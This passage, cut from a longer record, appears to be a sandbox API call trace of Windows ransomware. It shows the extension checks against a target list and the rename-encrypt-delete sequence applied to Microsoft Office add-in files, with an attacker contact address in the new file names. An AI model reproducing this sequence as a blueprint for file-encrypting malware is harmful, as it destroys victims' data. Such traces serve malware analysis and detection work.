(lpString1=".zip", lpString2=".DLL") returned 1 [0149.788] lstrlenW (lpString=".rar") returned 4 [0149.788] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.788] lstrlenW (lpString=".bz2") returned 4 [0149.788] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.788] lstrlenW (lpString=".7z") returned 3 [0149.788] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.788] lstrlenW (lpString=".dbf") returned 4 [0149.788] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.788] lstrlenW (lpString=".1cd") returned 4 [0149.788] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.788] lstrlenW (lpString=".jpg") returned 4 [0149.788] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.788] lstrcmpiW (lpString1=".ECF", lpString2=".LIVE") returned -1 [0149.788] lstrlenW (lpString="OUTEX2.ECF") returned 10 [0149.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.789] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=850) returned 1 [0149.789] CloseHandle (hObject=0x3b4) returned 1 [0149.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 0x20 [0149.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.789] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.789] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.790] GetLastError () returned 0x0 [0149.790] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x352, lpOverlapped=0x0) returned 1 [0149.792] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x360, lpOverlapped=0x0) returned 1 [0149.792] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.793] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0149.793] SetEndOfFile (hFile=0x3d4) returned 1 [0149.793] CloseHandle (hObject=0x3d4) returned 1 [0149.793] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.793] SetEndOfFile (hFile=0x3b4) returned 1 [0149.797] CloseHandle (hObject=0x3b4) returned 1 [0149.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 1 [0149.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.798] lstrlenW (lpString=".doc") returned 4 [0149.798] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.798] lstrlenW (lpString=".docx") returned 5 [0149.798] lstrcmpiW (lpString1=".docx", lpString2="2.ECF") returned -1 [0149.798] lstrlenW (lpString=".pdf") returned 4 [0149.798] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.798] lstrlenW (lpString=".xls") returned 4 [0149.798] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.798] lstrlenW (lpString=".xlsx") returned 5 [0149.798] lstrcmpiW (lpString1=".xlsx", lpString2="2.ECF") returned -1 [0149.798] lstrlenW (lpString=".ppt") returned 4 [0149.798] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.798] lstrlenW (lpString=".zip") returned 4 [0149.798] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.798] lstrlenW (lpString=".rar") returned 4 [0149.798] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.798] lstrlenW (lpString=".bz2") returned 4 [0149.798] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.798] lstrlenW (lpString=".7z") returned 3 [0149.798] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.799] lstrlenW (lpString=".dbf") returned 4 [0149.799] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.799] lstrlenW (lpString=".1cd") returned 4 [0149.799] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.799] lstrlenW (lpString=".jpg") returned 4 [0149.799] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.799] lstrlenW (lpString=".doc") returned 4 [0149.799] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.799] lstrlenW (lpString=".docx") returned 5 [0149.799] lstrcmpiW (lpString1=".docx", lpString2="2.ECF") returned -1 [0149.799] lstrlenW (lpString=".pdf") returned 4 [0149.799] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.799] lstrlenW (lpString=".xls") returned 4 [0149.799] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.799] lstrlenW (lpString=".xlsx") returned 5 [0149.799] lstrcmpiW (lpString1=".xlsx", lpString2="2.ECF") returned -1 [0149.799] lstrlenW (lpString=".ppt") returned 4 [0149.799] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.799] lstrlenW (lpString=".zip") returned 4 [0149.799] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.799] lstrlenW (lpString=".rar") returned 4 [0149.799] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.799] lstrlenW (lpString=".bz2") returned 4 [0149.799] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.799] lstrlenW (lpString=".7z") returned 3 [0149.799] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.799] lstrlenW (lpString=".dbf") returned 4 [0149.799] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.800] lstrlenW (lpString=".1cd") returned 4 [0149.800] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0149.800] lstrlenW (lpString=".jpg") returned 4 [0149.800] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.800] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.800] lstrlenW (lpString="OUTLVBA.DLL") returned 11 [0149.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.801] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=80760) returned 1 [0149.801] CloseHandle (hObject=0x3b4) returned 1 [0149.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll")) returned 0x20 [0149.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.802] lstrlenW (lpString=".doc") returned 4 [0149.802] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.802] lstrlenW (lpString=".docx") returned 5 [0149.802] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0149.802] lstrlenW (lpString=".pdf") returned 4 [0149.802] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.802] lstrlenW (lpString=".xls") returned 4 [0149.802] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.802] lstrlenW (lpString=".xlsx") returned 5 [0149.802] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0149.802] lstrlenW (lpString=".ppt") returned 4 [0149.802] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.802] lstrlenW (lpString=".zip") returned 4 [0149.802] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.802] lstrlenW (lpString=".rar") returned 4 [0149.802] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.802] lstrlenW (lpString=".bz2") returned 4 [0149.802] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.802] lstrlenW (lpString=".7z") returned 3 [0149.802] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.802] lstrlenW (lpString=".dbf") returned 4 [0149.802] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.802] lstrlenW (lpString=".1cd") returned 4 [0149.802] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.802] lstrlenW (lpString=".jpg") returned 4 [0149.802] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.803] lstrlenW (lpString=".doc") returned 4 [0149.803] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.803] lstrlenW (lpString=".docx") returned 5 [0149.803] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0149.803] lstrlenW (lpString=".pdf") returned 4 [0149.803] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.803] lstrlenW (lpString=".xls") returned 4 [0149.803] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.803] lstrlenW (lpString=".xlsx") returned 5 [0149.803] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0149.803] lstrlenW (lpString=".ppt") returned 4 [0149.803] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.803] lstrlenW (lpString=".zip") returned 4 [0149.803] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.803] lstrlenW (lpString=".rar") returned 4 [0149.803] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.803] lstrlenW (lpString=".bz2") returned 4 [0149.803] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.803] lstrlenW (lpString=".7z") returned 3 [0149.803] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.803] lstrlenW (lpString=".dbf") returned 4 [0149.803] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.803] lstrlenW (lpString=".1cd") returned 4 [0149.803] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0149.803] lstrlenW (lpString=".jpg") returned 4 [0149.803] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.804] lstrcmpiW (lpString1=".ECF", lpString2=".LIVE") returned -1 [0149.804] lstrlenW (lpString="PMAILEXT.ECF") returned 12 [0149.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.805] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=626) returned 1 [0149.805] CloseHandle (hObject=0x3b4) returned 1 [0149.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 0x20 [0149.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.805] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.805] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.806] GetLastError () returned 0x0 [0149.806] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x272, lpOverlapped=0x0) returned 1 [0149.807] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x280, lpOverlapped=0x0) returned 1 [0149.808] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.808] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.808] SetEndOfFile (hFile=0x3b0) returned 1 [0149.808] CloseHandle (hObject=0x3b0) returned 1 [0149.808] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.808] SetEndOfFile (hFile=0x3b4) returned 1 [0149.810] CloseHandle (hObject=0x3b4) returned 1 [0149.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 1 [0149.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.811] lstrlenW (lpString=".doc") returned 4 [0149.812] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.812] lstrlenW (lpString=".docx") returned 5 [0149.812] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0149.812] lstrlenW (lpString=".pdf") returned 4 [0149.812] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.812] lstrlenW (lpString=".xls") returned 4 [0149.812] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.812] lstrlenW (lpString=".xlsx") returned 5 [0149.812] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0149.812] lstrlenW (lpString=".ppt") returned 4 [0149.812] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.812] lstrlenW (lpString=".zip") returned 4 [0149.812] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.812] lstrlenW (lpString=".rar") returned 4 [0149.812] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.812] lstrlenW (lpString=".bz2") returned 4 [0149.812] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.812] lstrlenW (lpString=".7z") returned 3 [0149.812] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.812] lstrlenW (lpString=".dbf") returned 4 [0149.812] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.812] lstrlenW (lpString=".1cd") returned 4 [0149.812] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.812] lstrlenW (lpString=".jpg") returned 4 [0149.812] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.812] lstrlenW (lpString=".doc") returned 4 [0149.812] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.812] lstrlenW (lpString=".docx") returned 5 [0149.812] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0149.813] lstrlenW (lpString=".pdf") returned 4 [0149.813] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.813] lstrlenW (lpString=".xls") returned 4 [0149.813] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.813] lstrlenW (lpString=".xlsx") returned 5 [0149.813] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0149.813] lstrlenW (lpString=".ppt") returned 4 [0149.813] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.813] lstrlenW (lpString=".zip") returned 4 [0149.813] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.813] lstrlenW (lpString=".rar") returned 4 [0149.813] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.813] lstrlenW (lpString=".bz2") returned 4 [0149.813] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.813] lstrlenW (lpString=".7z") returned 3 [0149.813] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.813] lstrlenW (lpString=".dbf") returned 4 [0149.813] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.813] lstrlenW (lpString=".1cd") returned 4 [0149.813] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0149.813] lstrlenW (lpString=".jpg") returned 4 [0149.813] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.813] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0149.813] lstrlenW (lpString="UmOutlookAddin.dll") returned 18 [0149.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.817] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1549152) returned 1 [0149.817] CloseHandle (hObject=0x3b4) returned 1 [0149.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll")) returned 0x20 [0149.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.818] lstrlenW (lpString=".doc") returned 4 [0149.818] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.818] lstrlenW (lpString=".docx") returned 5 [0149.818] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0149.818] lstrlenW (lpString=".pdf") returned 4 [0149.818] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.818] lstrlenW (lpString=".xls") returned 4 [0149.818] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.818] lstrlenW (lpString=".xlsx") returned 5 [0149.818] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0149.818] lstrlenW (lpString=".ppt") returned 4 [0149.818] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 